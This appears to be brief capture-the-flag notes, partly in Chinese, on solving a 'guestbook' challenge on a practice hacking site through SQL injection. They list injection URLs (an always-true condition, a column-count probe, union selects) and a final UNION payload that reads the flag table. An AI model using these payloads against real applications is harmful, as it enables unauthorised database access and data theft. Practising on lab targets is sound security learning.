guestbook

sql注入！

https://hackme.inndy.tw/gb/?mod=read&id=-3/**/or/**/1=1#

https://hackme.inndy.tw/gb/?mod=read&id=3 order by 4--  
https://hackme.inndy.tw/gb/?mod=read&id=-3 union select 1,2,3,4 --

image-20210206213648607

下面就是正常的union注入了！

-7903 UNION ALL SELECT NULL,NULL,(SELECT CONCAT(0x716a7a7071,IFNULL(CAST(`flag` AS NCHAR),0x20),0x716b766b71) FROM g8.`flag` ORDER BY `flag` LIMIT 0,1),NULL-- -


xssrf redis